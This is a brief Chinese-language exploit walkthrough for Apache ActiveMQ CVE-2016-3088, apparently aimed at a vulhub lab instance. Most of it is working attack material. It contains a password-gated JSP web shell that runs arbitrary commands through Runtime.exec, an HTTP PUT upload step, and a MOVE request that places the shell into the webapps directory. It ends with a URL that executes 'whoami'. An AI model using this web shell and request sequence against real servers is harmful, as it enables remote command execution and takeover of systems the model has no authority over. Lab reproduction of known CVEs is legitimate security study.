Apache ActiveMQ(CVE-2016-3088)

影响版本

Apache ActiveMQ 5.0.0-5.13.x

路径地址

http://192.168.49.2:8161/admin/test/systemProperties.jsp

该漏洞允许用户通过 HTTP PUT 方法上传文件到指定目录

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%>

上传文件

移动jsp

MOVE /fileserver/2.txt HTTP/1.1

Destination: file:///opt/activemq/webapps/api/1.jsp

执行命令

http://192.168.49.2:8161/api/1.jsp?pwd=023&i=whoami

参考
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md